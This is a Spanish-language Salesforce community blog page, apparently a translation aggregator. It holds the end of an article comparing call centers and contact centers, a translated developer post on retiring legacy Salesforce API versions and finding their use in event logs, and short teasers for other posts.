Los agentes de servicio al cliente deben tener la combinación correcta de habilidades blandas y duras para cumplir con las expectativas del cliente. Cuando se trata de habilidades blandas, deben ser comunicadores y oyentes competentes, buenos pensadores críticos y solucionadores de problemas, y ser capaces de resolver conflictos en situaciones tensas. Cuando se trata de habilidades duras, necesitan saber cómo usar tableros, herramientas de servicio, consolas, herramientas de automatización y acceso a datos de clientes para hacer bien su trabajo y hacer recomendaciones más personalizadas a los clientes en tiempo real.

Los centros de llamadas son más sencillos de operar, con altos costos operativos provenientes de la plantilla y los sistemas telefónicos o el software. Su simplicidad puede ser atractiva para las empresas que desean evitar complicar demasiado su estrategia de servicio al cliente, especialmente si tienen una base de clientes pequeña y conocida que prefiere obtener el servicio por teléfono.

Por el contrario, los centros de contacto personalizan la experiencia del cliente al proporcionar varios canales de servicio según las preferencias del cliente. Esto facilita que los problemas se resuelvan de forma asincrónica y los problemas más complejos se resuelvan por teléfono. Este enfoque rentable es lo que llamamos " Cambio a escala ".

El 48% de los clientes han cambiado de marca para un mejor servicio al cliente.

Informe de estado del cliente conectado de Salesforce

Si bien los centros de contacto generalmente tienen costos continuos más altos debido a las licencias de software, sus clientes tienen una mejor experiencia de servicio cuando pueden elegir cómo interactúan con su negocio. Esto significa que sus clientes se sienten satisfechos o incluso encantados después de una interacción de servicio, lo que conducirá a una puntuación CSAT más alta , una mayor lealtad del cliente y generará más ingresos de clientes repetidos y renovados.

Estrategia de call center vs. contact center

Si no está seguro de qué estrategia de servicio al cliente es adecuada para usted, hágase las siguientes preguntas:

  • ¿Qué tan grande es la base de clientes que atiendes?
    • R: Daremos servicio a un grupo demográfico de nicho pequeño
    • B: Tendremos una base de clientes amplia y diversa
  • ¿Qué tan difícil será resolver estos problemas para sus clientes?
    • R: La mayoría de los problemas son fáciles de resolver.
    • B: Los problemas variarán en complejidad
  • ¿Qué tan importante es para su empresa brindar un servicio personalizado al cliente?
    • R: El servicio personalizado no es una prioridad para mi negocio
    • B: El servicio personalizado es una prioridad para mi negocio
  • ¿Qué tan importante es para su negocio ofrecer múltiples canales de soporte?
    • R: Tener múltiples canales de soporte no es muy importante para mi negocio
    • B: Tener múltiples canales de soporte es importante para mi negocio
  • ¿Su empresa tiene un presupuesto de servicio limitado o puede admitir múltiples licencias de software y tecnología?
    • R: Mi negocio tiene un presupuesto limitado para servicio al cliente
    • B: Mi empresa tiene presupuesto para admitir múltiples licencias de software y tecnologías

Si respondió en su mayoría con A, entonces una estrategia de centro de llamadas puede ser la mejor opción para su negocio. Si respondió con B en su mayoría, entonces un centro de contacto es la mejor estrategia para usted.

El 94% de los clientes dice que un buen servicio al cliente los hace más propensos a realizar otra compra.

Informe de estado del cliente conectado de Salesforce

El servicio al cliente es el negocio de asegurarse de que sus clientes se mantengan felices y leales. Los centros de llamadas siguen siendo relevantes en ciertos contextos, pero el mundo está cambiando; asegúrese de que sus modelos de atención al cliente cambien con él.

Cree una mejor experiencia de centro de contacto

Vea cómo puede combinar IA, datos y CRM para conectarse en el canal correcto, personalizar cada conversación y escalar su servicio al cliente.

Seguir leyendo

Una actualización importante de nuestro plan de jubilación Legacy API ☁️

Una actualización importante de nuestro plan de jubilación Legacy API ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

Una actualización importante de nuestro plan de jubilación Legacy API | Blog de desarrolladores de Salesforce

En 2021, anunciamos unplan para retirar las versiones heredadas de la API de la plataforma anualmente, de modo que nuestros equipos de ingeniería pudieran centrar sus esfuerzos de desarrollo en mejorar las últimas versiones de la API para mejorar la experiencia general de Salesforce al crear funciones personalizadas a través de aplicaciones. En esta publicación, compartiremos una actualización importante del plan de retiro de la API heredada, algunos consejos sobre cómo identificar el uso de la API heredada y cómo actualizar esas solicitudes de API.

Actualización importante del plan de jubilación de la API heredada

La última fase del plan de retiro de la API heredada se anunció a principios de 2022 y entró en vigencia durante el lanzamiento de Summer '22. Con esta versión, dejamos de usar las versiones SOAP, REST y Bulk API que van de la 21.0 a la 30.0. Como parte de nuestro plan original, estas versiones de API ya no serían compatibles, pero permanecerían disponibles hasta que las retiremos en la versión Summer '23.

Luego de consultar con la comunidad y nuestros socios, decidimos retrasar el próximo retiro de la API al lanzamiento de Summer '25 para garantizar una transición sin problemas (consulte el artículo de conocimientos ). Debido a esta extensión, las versiones de API 21.0 a 30.0 aún no son compatibles, pero seguirán estando disponibles hasta el lanzamiento de Summer '25.

Desde Summer '21 , cada vez que realiza una llamada a una API heredada con REST o Bulk API, verá un encabezado Warning en la respuesta con un mensaje que describe el problema como este:

Una vez que las versiones heredadas de la API se retiren en Summer '25, las solicitudes a esas versiones fallarán con los siguientes errores:

  • La API REST devolverá el estado HTTP 410: GONE
  • La API SOAP devolverá el estado HTTP 500: UNSUPPORTED_API_VERSION
  • La API masiva devolverá el estado HTTP 400: InvalidVersion

Ahora que conoce el último plan, veamos cómo puede identificar si se ve afectado y cómo.

Identificar el uso de la API heredada

Puede verificar las llamadas API heredadas usted mismo en cualquier momento, y hay varias formas de hacerlo.

Todas las transacciones de la API de Salesforce se registran en los registros de Monitoreo de eventos. El monitoreo de eventos normalmente requiere una licencia específica, pero hemos expuesto el evento Uso total de la API ( ApiTotalUsage ) a todos los clientes de forma gratuita, para que pueda monitorear el consumo de la API heredada e identificar los clientes y las integraciones que deben actualizarse. Las organizaciones habilitadas para API tienen acceso gratuito a los archivos de registro de eventos de uso total de API con retención de datos de 1 día. Con el Monitoreo de eventos habilitado, puede acceder a este y a todos los demás tipos de archivos de registro de eventos con una retención de datos de 30 días.

Los registros contienen campos clave que guían sus investigaciones:

  • Los clientes proporcionan CLIENT_NAME opcionalmente, pero es especialmente útil para identificar aplicaciones e integraciones que realizan llamadas API que requieren investigación y ajustes. Compartiremos más sobre este campo en la última sección de esta publicación.
  • CONNECTED_APP_ID le dice qué aplicación conectada está en el origen de las llamadas a la API.
  • USER_ID y CLIENT_IP son útiles para identificar el origen de las llamadas API heredadas, pero existe la posibilidad de que estos valores se compartan entre varias aplicaciones en caso de que se realice una cuenta técnica de usuario/sistema (ID de usuario compartido) o llamadas desde una ubicación de oficina física ( dirección IP compartida). Compartiremos cómo usar la nueva licencia de usuario de integración para abordar los problemas de usuarios compartidos en la última sección de esta publicación.
  • Los campos API_FAMILY , API_VERSION , API_RESOURCE , URI y HTTP_METHOD le brindan pistas valiosas sobre el tipo de operaciones que realizan los clientes API.

Compartimos varias herramientas para acceder a los registros en nuestra publicación anterior , y también puede usar herramientas de terceros para automatizar esta tarea. Compartiremos una opción adicional que puede ser relevante para los usuarios preocupados por ejecutar código de terceros con acceso API a su organización.

Uso de Postman para identificar el uso de la API heredada

Puede utilizar la colección Postman de las API de la plataforma de Salesforce para inspeccionar sus registros de Salesforce con estos pasos:

  • Configure la colección Postman y autentíquese en su organización .
  • Enumere los archivos de registro que rastrean el acceso a la API:
    1. Seleccione REST > Solicitud de consulta .
    2. Reemplace el valor del parámetro de consulta q con la siguiente consulta SOQL: SELECT LogFile, EventType, CreatedDate FROM EventLogFile WHERE EventType IN ('API', 'RestApi', 'BulkApi', 'ApiTotalUsage')
    3. Haz clic en Enviar.
    4. Recupere los ID del archivo de registro de la respuesta.

  • Para cada archivo de registro devuelto en el paso anterior, recupere y escanee el contenido del registro:
    1. Seleccione REST > Registros > Obtener solicitud de archivo de registro de eventos .
    2. Establezca el ID del archivo de registro en el valor de la variable de ruta id .
    3. Haz clic en Enviar.
    4. Lea el contenido del archivo de registro en la respuesta. Puede moverse a la pestaña Respuesta sin procesar y guardarla como un archivo CSV o usar la pestaña Visualizar para obtener una vista previa del contenido directamente en Postman.
    5. Mire la columna URI o API_VERSION y verifique las versiones de API heredadas (versiones 30.0 y anteriores).

Después de identificar que está llamando a versiones de API heredadas, el siguiente paso es actualizar estas dependencias a versiones de API heredadas.

Actualizar dependencias a versiones de API heredadas

El procedimiento de actualización depende del tipo de API que esté utilizando, pero aquí hay una breve descripción general de lo que se requiere:

  • Para llamadas API basadas en SOAP, genere un nuevo WSDL e incorpórelo a la integración afectada
  • Para puntos finales REST, actualice el número de versión en el URI a la versión principal actual
  • Aunque puede actualizar de manera similar los URI para puntos finales /async en el caso de Bulk API, la forma más gratificante de actualizar las llamadas heredadas es adoptar Bulk API 2.0 y disfrutar del flujo de trabajo más simple y los límites mejorados.

Tenga en cuenta que las aplicaciones (p. ej., el cargador de datos) y los paquetes también pueden estar realizando llamadas API heredadas debido a bibliotecas obsoletas (conectores de servicios web, kit de herramientas AJAX, interfaz COM SForceOfficeToolkit o kit de herramientas Force.com para PHP, solo por nombrar algunos) . Asegúrate de actualizarlos también.

Y recuerda: no importa el cambio, asegúrate de realizar pruebas de regresión para asegurarte de que todo funciona como se esperaba.

Preparándonos para el futuro

Ya sea que se haya visto afectado por el plan de jubilación heredado o no, debe planificar el futuro retiro de la versión API. Le dejaremos algunas prácticas recomendadas para el gobierno de API.

Aproveche las licencias de usuario de la integración de Salesforce

En Spring '23, presentamos un nuevo tipo de licencia dedicado a las integraciones: la licencia de usuario de Integración de Salesforce . Esta nueva licencia se basa en el principio de acceso con privilegios mínimos y le permite crear usuarios solo de API para integraciones de sistema a sistema con derechos de acceso específicos. La principal ventaja de este nuevo tipo de licencia es la seguridad, pero también permite un mejor seguimiento de las acciones de integración, ya que podrá asignar distintos usuarios solo de API a la integración y relacionar las llamadas de API de integración con ID de usuario específicas en sus registros.

Se incluyen cinco licencias de usuario de Integración de Salesforce en cada organización Enterprise, Unlimited y Performance Edition. También puede comunicarse con su ejecutivo de cuenta si necesita más.

Especifique un nombre de cliente al crear integraciones de API REST

Al crear nuevas integraciones con la API REST, asegúrese de especificar un nombre de cliente utilizando el encabezado de solicitud Sforce-Call-Options de la siguiente manera:

Sforce-Call-Options: client=myClientName

El nombre del cliente que especifique en el encabezado estará visible en los registros en el campo CLIENT_NAME . Esto le ayuda a depurar y auditar las llamadas a la API de integración.

palabras de cierre

Esperamos que este retraso adicional en nuestro plan de retiro de API heredado permita una transición sin problemas, y lo alentamos a que comience hoy, independientemente de la nueva fecha límite. Migrar a versiones de API más nuevas siempre es una apuesta segura para obtener acceso a nuevas capacidades y mejorar el rendimiento y la seguridad.

Sobre el Autor

Philippe Ozil es un defensor principal de desarrolladores en Salesforce, donde se enfoca en la plataforma de Salesforce. Escribe contenido técnico y habla con frecuencia en conferencias. Es un desarrollador full-stack y disfruta trabajar en proyectos DevOps, robótica y VR. Sígalo en Twitter @PhilippeOzil o consulte sus proyectos de GitHub @pozil .

Obtenga las últimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a través de Slack o RSS.

Agregar a Slack Suscríbete a RSS

Seguir leyendo

Prepare su aplicación para pasar la revisión de seguridad de AppExchange ☁️

Prepare su aplicación para pasar la revisión de seguridad de AppExchange ☁️

Esta guía se publicó originalmente en Medium en 2021 y se actualizó con la orientación y los consejos más recientes, incluidas las nuevas funciones de seguridad como parte de los lanzamientos recientes y la nueva estructura de precios para las revisiones.

La publicación Prepare su aplicación para pasar la revisión de seguridad de AppExchange apareció primero en el blog de desarrolladores de Salesforce .

Seguir leyendo

Lanzamiento de Marketing Cloud Spring '23 para desarrolladores ☁️

Consulte los aspectos más destacados y conozca las nuevas funciones de la versión Spring '23 para desarrolladores de Marketing Cloud.

La versión posterior de Marketing Cloud Spring '23 para desarrolladores apareció primero en el blog de desarrolladores de Salesforce .

Seguir leyendo

Mejore el rendimiento del código con el analizador de código de Salesforce ☁️

Estamos desarrollando Salesforce Graph Engine con nuevas reglas para ayudarlo a mejorar el rendimiento de su código en la última versión 3.9 de Code Analyzer.

La publicación Aumente el rendimiento del código con Salesforce Code Analyzer apareció por primera vez en el blog de desarrolladores de Salesforce .

Seguir leyendo

Creación de un complemento CLI de Salesforce ☁️

La CLI de Salesforce es una herramienta poderosa y esencial para el desarrollo de Salesforce. Uno de los aspectos más poderosos de la CLI es su extensibilidad a través de complementos.

La publicación Creación de un complemento CLI de Salesforce apareció primero en el blog de desarrolladores de Salesforce .

Seguir leyendo

Organizaciones temporales para administrador de Salesforce

Última actualización el 1 de enero de 2023 por Rakesh Gupta Con la creciente adopción de Salesforce DevOps, las organizaciones temporales de repente están en el centro de atención. Este blog explicará qué son las organizaciones borrador, por qué son útiles y cómo puede crear una fácilmente con clics, no con código. ¿Qué es una organización temporal?

La publicación Scratch Orgs for Salesforce Admin apareció por primera vez en Automation Champion .

Seguir leyendo

Cómo generar documentos en airSlate para Salesforce

Última actualización el 27 de diciembre de 2022 por Rakesh Gupta La integración nativa de airSlate con Salesforce aborda las tareas más desafiantes para las empresas que buscan automatizar sus flujos de trabajo de documentos dentro de su organización de Salesforce. Permite crear flujos de trabajo integrales, de varios pasos y de varias sucursales dentro de Salesforce para automatizar la generación de documentos, el enrutamiento, las aprobaciones, las notificaciones y

La publicación Cómo generar documentos en airSlate para Salesforce apareció primero en Automation Champion .

Seguir leyendo